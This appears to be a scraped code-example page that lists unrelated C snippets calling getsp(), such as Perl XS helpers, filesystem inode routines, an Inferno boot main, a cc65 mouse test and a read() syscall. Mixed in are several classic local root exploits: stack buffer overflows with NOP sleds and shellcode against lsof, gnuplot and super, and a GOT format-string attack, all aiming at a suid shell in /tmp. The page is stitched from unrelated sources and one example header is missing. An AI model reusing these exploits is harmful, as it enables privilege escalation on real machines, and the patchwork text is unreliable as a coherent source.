Beispiel #1
0
    void finish_call_state() {
        SV **&sp = getsp();

        PUTBACK;
        FREETMPS;
        LEAVE;
    }
Beispiel #2
0
main ( int argc, char *argv[0]) {
  char b00m[220];
  long addr;
  int x, y, offset=380;

  if (argc > 1) offset = atoi(argv[1]);

  for (x = 0; x < 16; x++)
    b00m[x] = 'A';

  addr = getsp() + offset;
  printf ( "SDI-lsof exploiting at 0x%x\n", addr);

  b00m[x++] = addr & 0x000000ff;
  b00m[x++] = (addr & 0x0000ff00) >> 8;
  b00m[x++] = (addr & 0x00ff0000) >> 16;
  b00m[x++] = (addr & 0xff000000) >> 24;

  for ( ; x < 100; x++)
    b00m[x] = 0x90;

  for (y = 0; y < strlen(shellcode); y++, x++)
    b00m[x] = shellcode[y];

  b00m[strlen(b00m)] = '\0';

  printf ( "\nFind a suid shell at /tmp/sh...\n\n");
  execl ( PATH, PATH, "-u", b00m, (char *)0);
  perror ( "execl") ;

}
Beispiel #3
0
/* write changes back to disk if nessary. */
void iupdate(struct inode *ip){
    struct super *sp;
    struct d_inode *itab;
    struct buf *bp;
    uint lba;

    /*
    if ((ip->i_flag & I_DIRTY)==0){
        return;
    }
    */

    sp = getsp(ip->i_dev);
    if (sp==NULL){
        panic("bad super");
    }
    // get the blk number where this inode lies in.
    bp = bread(ip->i_dev, IBLK(sp, ip->i_num));
    if (bp->b_flag & B_ERROR) {
        panic("error on reading an inode");
    }
    itab = (struct d_inode*)bp->b_data;
    // which different from above.
    memcpy(&itab[(ip->i_num-1)%IPB], ip, sizeof(struct d_inode));
    ip->i_flag &= ~I_DIRTY;
    bwrite(bp);
    brelse(bp);
    return 0;
}
Beispiel #4
0
char *col(int n,char *p) {
    p=nonsp(p);
    while(n>0) {
        p=nonsp(getsp(p));
        n--;
    }
    return p;
}
Beispiel #5
0
void main(int argc, char *argv[]) {

char *buf, *ret;

long *addrp, addr;

int bufsiz, offset;

int i;

bufsiz=DEFAULT_BUFSIZ;

offset=DEFAULT_OFFSET;

if (argc = 2) bufsiz = atoi(argv[1]);

if (argc = 3) offset = atoi(argv[2]);

buf=malloc(bufsiz);

addr = getsp() - offset;

printf("address: 0x%x\n", addr);

printf("bufsize: %d\n", bufsiz);

printf("offset : %d\n", offset);

ret = buf;

addrp = (long *) ret;

for (i = 0; i < bufsiz; i+=4)

*(addrp++) = addr;

memset(buf, NOP, (strlen(shellcode)/2));

ret = buf + ((bufsiz/2) - (strlen(shellcode)/2));

for (i = 0; i < strlen(shellcode); i++)

*(ret++) = shellcode[i];

buf[bufsiz - 1] = '\0';

memcpy(buf,"HOME=", 5);

setenv("HOME", buf, 1);

execvp("/usr/bin/gnuplot", NULL);

} ---snip---
Beispiel #6
0
int main(int argc, char **argv) {

	long GOT;
	long RET;
	int ALIGN = 2, off = 0, opt;

	char *av[3], *ev[2];
	char *hack, buff[100];

	hack = (char *)malloc(2000);
	sprintf(hack, "HACK=");

	if ( argc < 4 ) { usage(); exit(0); }

while ((opt = getopt(argc, argv, "o:g:")) != -1) 
{
		switch (opt) {

		case 'o':
			off = atoi(optarg);
			break;

		case 'g':
			sscanf(optarg, "0x%x", &GOT);
			break;

		default:
			usage();
		}
}

        memset(hack + 5, 0x90, 1000-1-strlen(shellcode));
	sprintf(hack + 1000 - strlen(shellcode), "%s", shellcode);

        RET = getsp()+off;
	printf("\nUsing: retaddr = 0x%x, GOT = 0x%x, OFFSET = %d\n\n", RET, GOT, off);
	memset(buff,0x00,sizeof(buf));
	sprintf(buff,"%s",fmt_str_creator(GOT+4,RET,ALIGN));

        av[0] = BIN;
        av[1] = buff;
        av[2] = 0;
        ev[0] = hack;
        ev[1] = 0;
        execve(*av, av, ev);

	return 0;
}
Beispiel #7
0
/* load a inode from disk 
 * */
int iload(struct inode *ip){
    struct super *sp;
    struct d_inode *itab; /* note this is an d_inode, 32 bytes. */
    struct buf *bp;
    uint lba;

    sp = getsp(ip->i_dev);
    if (sp==NULL){
        panic("error on reading a super");
    }
    // get the blk number where this inode lies in.
    bp = bread(ip->i_dev, IBLK(sp, ip->i_num));
    if (bp->b_flag & B_ERROR) {
        panic("error on reading an inode");
    }
    itab = (struct d_inode*)bp->b_data;
    memcpy(ip, &itab[(ip->i_num-1)%IPB], sizeof(struct d_inode));
    brelse(bp);
    return 0;
}
main ( int argc, char *argv[] ) {
char itamar[2040]; // ta mar mesmo
long addr;
int x, y, offset = 1000, align=0;
if ( argc > 1) offset = atoi(argv[1]);
addr = getsp() + offset;
for ( x = 0; x < (1410-strlen(shellcode)); x++)
itamar[x] = 0x90;
for ( ; y < strlen(shellcode); x++, y++)
itamar[x] = shellcode[y];
for ( ; x < 1500; x+=4) {
itamar[x ] = (addr & 0xff000000) >> 24;
itamar[x+1] = (addr & 0x000000ff);
itamar[x+2] = (addr & 0x0000ff00) >> 8;
itamar[x+3] = (addr & 0x00ff0000) >> 16;
}
itamar[x++] = '\0';
printf ( "\nwargames at 0x%x, offset %d\n", addr, offset);
printf ( "Look for a suid shell root owned at /tmp/sh\n");
execl ( "/usr/local/bin/super", "super", "-T",itamar, (char *) 0);
}
Beispiel #9
0
    void prepare_call_state() {
        SV **&sp = getsp();

        ENTER;
        SAVETMPS;
    }
Beispiel #10
0
int main (void)
#endif
{
    struct mouse_info info;
    struct mouse_box full_box, small_box;
    unsigned char width, height;
    char C;
    bool Invisible = true, Done = false, Jailed = false;

#ifdef __ATARIXL__
    cprintf ("adding heap: $%04X bytes at $%04X\r\n",
             &_HIDDEN_RAM_SIZE__ - (&_HIDDEN_RAM_LAST__ - &_HIDDEN_RAM_START__),
             &_HIDDEN_RAM_LAST__);

    _heapadd (&_HIDDEN_RAM_LAST__, (size_t)(&_HIDDEN_RAM_SIZE__ - (&_HIDDEN_RAM_LAST__ - &_HIDDEN_RAM_START__)));
    cgetc ();
#endif

#ifndef NO_DEBUG
    /* Initialize the debugger */
    DbgInit (0);
#endif

    /* Set dark-on-light colors.  Clear the screen. */
#ifdef __CBM__
    (void) bordercolor (COLOR_GRAY2);
    (void) bgcolor (COLOR_WHITE);
    (void) textcolor (COLOR_GRAY1);
#else
    (void) bordercolor (COLOR_BLUE);
    (void) bgcolor (COLOR_WHITE);
    (void) textcolor (COLOR_BLACK);
#endif
    cursor (0);
    clrscr ();

    /* If a lightpen driver is installed, then it can get a calibration value
    ** from this file (if it exists).  Or, the user can adjust the pen; and,
    ** the value will be put into this file, for the next time.
    ** (Other drivers will ignore this.)
    */
#if defined(__C64__) || defined(__C128__) || defined(__CBM510__)
    pen_adjust ("pen.dat");
#endif

#if DYN_DRV
    /* If a dynamically loadable driver is named on the command line,
    ** then use that driver instead of the standard one.
    */
    if (argc > 1) {
        mouse_name = argv[1];
    } else {
#if defined(__ATARI__) || defined(__C64__) || defined(__C128__)
        char selection, flag = 0;
        cprintf ("Select mouse driver:\r\n"
                 "  0 - Joystick\r\n"
#ifdef __ATARI__
                 "  1 - ST Mouse\r\n"
                 "  2 - Amiga Mouse\r\n"
                 "  3 - Atari Trakball\r\n"
                 "  4 - Atari TouchPad\r\n"
#else
                 "  1 - 1351 Mouse\r\n"
                 "  2 - Inkwell Mouse\r\n"
                 "  3 - Paddle\r\n"
#endif
                 "Enter selection: ");
        while (1) {
            switch (selection = cgetc ()) {
            case '0': mouse_name = MSENAME_0; flag = 1; break;
            case '1': mouse_name = MSENAME_1; flag = 1; break;
            case '2': mouse_name = MSENAME_2; flag = 1; break;
            case '3': mouse_name = MSENAME_3; flag = 1; break;
#ifdef __ATARI__
            case '4': mouse_name = MSENAME_4; flag = 1; break;
#endif
            }
            if (flag) break;
        }
        cprintf ("%c\r\nOK, loading \"%s\",\r\nplease wait patiently...\r\n", selection, mouse_name);
#else
        /* Output a warning about the standard driver that is needed. */
        DoWarning ();
        mouse_name = mouse_stddrv;
#endif
    }

    /* Load and install the driver. */
    CheckError ("mouse_load_driver",
                mouse_load_driver (&MOUSE_CALLBACK, mouse_name));
#else  /* not DYN_DRV */
#if !defined(MOUSE_DRIVER) && (defined(__ATARI__) || defined(__C64__) || defined(__C128__))
    {
        char selection, flag = 0;
        cprintf ("Select mouse driver:\r\n"
                 "  0 - Joystick\r\n"
#ifdef __ATARI__
                 "  1 - ST Mouse\r\n"
                 "  2 - Amiga Mouse\r\n"
                 "  3 - Atari Trakball\r\n"
                 "  4 - Atari TouchPad\r\n"
#else
                 "  1 - 1351 Mouse\r\n"
                 "  2 - Inkwell Mouse\r\n"
                 "  3 - Paddle\r\n"
#endif
                 "Enter selection: ");
        while (1) {
            switch (selection = cgetc ()) {
            case '0': mouse_drv_use = MSESTAT_0; flag = 1; break;
            case '1': mouse_drv_use = MSESTAT_1; flag = 1; break;
            case '2': mouse_drv_use = MSESTAT_2; flag = 1; break;
            case '3': mouse_drv_use = MSESTAT_3; flag = 1; break;
#ifdef __ATARI__
            case '4': mouse_drv_use = MSESTAT_4; flag = 1; break;
#endif
            }
            if (flag) break;
        }
    }
#else
    mouse_drv_use = mouse_static_stddrv;
#endif

    /* Install the driver. */
    CheckError ("mouse_install",
                mouse_install (&MOUSE_CALLBACK,
#  ifdef MOUSE_DRIVER
                               MOUSE_DRIVER
#  else
#if defined(__ATARI__) || defined(__C64__) || defined(__C128__)
                               mouse_drv_use
#else
                               mouse_static_stddrv
#endif
#  endif
                               ));
#endif

#ifndef NO_JAIL
    /* Get the initial bounding box. */
    mouse_getbox (&full_box);
#endif

    screensize (&width, &height);

top:
    clrscr ();

    /* Print a help line */
    cputs (" d)ebug  h)ide   q)uit   s)how   j)ail");

    gotoxy (1, 20);
    cprintf ("SP: $%04X", getsp());

    /* Put a cross at the center of the screen. */
    gotoxy (width / 2 - 3, height / 2 - 1);
#if defined(__CBM__)
    cprintf ("%3u,%3u\r\n%*s\xDB", width / 2 * 8 + 4, height / 2 * 8 + 4,
             width / 2, "");
#else
    cprintf ("%3u,%3u\r\n%*s+", width / 2 * 8 + 4, height / 2 * 8 + 4,
             width / 2, "");
#endif

    /* Test loop */
    ShowState (Jailed, Invisible);
    do {
        /* Get the current co-ordinates and button states; and, print them. */
        mouse_info (&info);
        gotoxy (0, 2);
        cprintf (" X  = %3d\r\n", info.pos.x);
        cprintf (" Y  = %3d\r\n", info.pos.y);
        cprintf (" B1 = %c\r\n", (info.buttons & MOUSE_BTN_LEFT) ?
#ifdef __CBM__
                 0x5F
#else
                 'v'
#endif
                 : '^');
        cprintf (" B2 = %c", (info.buttons & MOUSE_BTN_RIGHT) ?
#ifdef __CBM__
                 0x5F
#else
                 'v'
#endif
                 : '^');

        /* Handle user input */
        if (kbhit ()) {
            cclearxy (1, 9, 23);
            switch (tolower (C = cgetc ())) {
#ifndef NO_DEBUG
                case 'd':
                    BREAK();

                    /* The debugger might have changed the colors.
                    ** Restore them.
                    */
#ifdef __CBM__
                    (void) bordercolor (COLOR_GRAY2);
                    (void) bgcolor (COLOR_WHITE);
                    (void) textcolor (COLOR_GRAY1);
#else
                    (void) bordercolor (COLOR_BLUE);
                    (void) bgcolor (COLOR_WHITE);
                    (void) textcolor (COLOR_BLACK);
#endif

                    /* The debugger changed the screen; restore it. */
                    goto top;
#endif
                case 'h':
                    mouse_hide ();
                    ShowState (Jailed, ++Invisible);
                    break;

#ifndef NO_JAIL
                case 'j':
                    if (Jailed) {
                        mouse_setbox (&full_box);
                        Jailed = false;
                    } else {
                        small_box.minx = max (info.pos.x - 10, full_box.minx);
                        small_box.miny = max (info.pos.y - 10, full_box.miny);
                        small_box.maxx = min (info.pos.x + 10, full_box.maxx);
                        small_box.maxy = min (info.pos.y + 10, full_box.maxy);
                        mouse_setbox (&small_box);
                        Jailed = true;
                    }
                    ShowState (Jailed, Invisible);
                    break;
#endif
                case 's':
                    mouse_show ();
                    if (Invisible) {
                        ShowState (Jailed, --Invisible);
                    }
                    break;

                case 'q':
                    Done = true;
                    break;

                default:
                    gotoxy (1, 9);
                    cprintf ("Spurious character: $%02X", C);
            }
        }
    } while (!Done);

#if DYN_DRV
    /* Uninstall and unload the driver. */
    CheckError ("mouse_unload", mouse_unload ());
#else
    /* Uninstall the static driver. */
    CheckError ("mouse_uninstall", mouse_uninstall ());
#endif

    /* Say goodbye */
    cputsxy (0, height / 2 + 3, "Goodbye!");
    return EXIT_SUCCESS;
}
Beispiel #11
0
void
main() {
	uint j=0,i=0,k=0;
	uint rev;
	ulong pc;

	pc = getpc();
	pl011_addr((void *)pc, 1);
	pl011_puts("Entered main() at ");
	pl011_addr(&main, 0);
	pl011_puts(" with SP=");
	pl011_addr((void *)getsp(), 0);
	pl011_puts(" with SC=");
	pl011_addr((void *)getsc(), 0);
	pl011_puts(" with CPSR=");
	pl011_addr((void *)getcpsr(), 0);
	pl011_puts(" with SPSR=");
	pl011_addr((void *)getspsr(), 1);

	pl011_puts("Clearing Mach:  ");
	memset(m, 0, sizeof(Mach));
	pl011_addr((char *)m,		0); pl011_puts("-");
	pl011_addr((char *)(m+1),	1);

	pl011_puts("Clearing edata: ");
	memset(edata, 0, end-edata);
	pl011_addr((char *)&edata,	0); pl011_puts("-");
	pl011_addr((char *)&end,	1);

	conf.nmach = 1;

	quotefmtinstall();
	confinit();
	mmuinit1();
	xinit();
	poolinit();
	poolsizeinit();
	//uartconsinit();
	screeninit();
	trapinit();
	timersinit();
	clockinit();
	printinit();
	swcursorinit();

	rev = getfirmware();
	print("\nARM %ld MHz id %8.8lux firmware: rev %d, mem: %ld\n"
		,(m->cpuhz+500000)/1000000, getcpuid(), rev, conf.topofmem/MB);
	print("Inferno OS %s Vita Nuova\n", VERSION);
	print("Ported to Raspberry Pi (BCM2835) by LynxLine\n\n");

	procinit();
	links();
	chandevreset();

	eve = strdup("inferno");

	userinit();
	schedinit();

	pl011_puts("to inifinite loop\n\n");
	for (;;);
}
Beispiel #12
0
ssize_t read(int fd, void *buf, size_t count)
{
	/*
	 * Define & initialize variables.
	 * Currentsp save SVC sp
	 * Readcount is initialized with -1 
	 * because the first of buf[] start with buf[0].
	 * charbuf in local copy of buf.
	 */
	int unsigned currentsp = getsp();
	char ch;
	ssize_t readcount = -1; 
	char *charbuf=(char *)buf; 
	
	/*
	 * Return -DBADF if not from stdin
	 */
	if (fd != STDIN_FILENO)
	return -EBADF;
			
	/*
	 * Return -EFAULT when:
	 * 1. read more then 64MB buffer size
	 * 2. read can not exceed heap or free 
	 */
	if
	(
		count > buffersize || 
		(
		 !(
                  			
			(
				((char *)charbuf + count) < ((char *)currentsp) && 
				((char *)charbuf) >= ((char *)heapbtm)
			)
		  ||
		 
			(
				((char *)charbuf + count) <= ((char *)freetop) && 
 				((char *)charbuf) >= ((char *)freebtm)
  			)
		 
		  )
		)
	)
		return -EFAULT;
	
	/*
	 * read in the string
	 */		
	while(1)
	{
		ch = (char)getc();
		
		/*
		 * Return immediately when EOT
		 */	
		if (ch == EOT) //EOT
		{
		return (readcount + 1);
		}
		
		/*
		 * Print "\b \b" when backspace
		*/  	
		else if (ch == backspace)
		{
			if(readcount >= 0)
			{
		 		charbuf[readcount] = 0;
		  		readcount -= 1;
		  		putc('\b');
		  		putc(' ');
		  		putc('\b');
			}
		}
		
		/*
		 * Return when a newline or carriage return
		 */
		else if( ch == '\n' || ch == '\r')
		{	
			if ((readcount+1)<(ssize_t)count) 
		  	{
		  		readcount += 1;
		  		charbuf[readcount]='\n';
		  		putc('\n');
				return (readcount+1);
		  	}
		  else
		  	return (readcount+1);
		}
		
		/*
		 * Read the char into the buf
		 */    
		else
		{
			if ((readcount+1)<(ssize_t)count)
			{
		    		readcount += 1;
		    		charbuf[readcount] = ch;
		    		putc(ch);
		  }
		    else
		    		return (readcount + 1);

		}
	}
}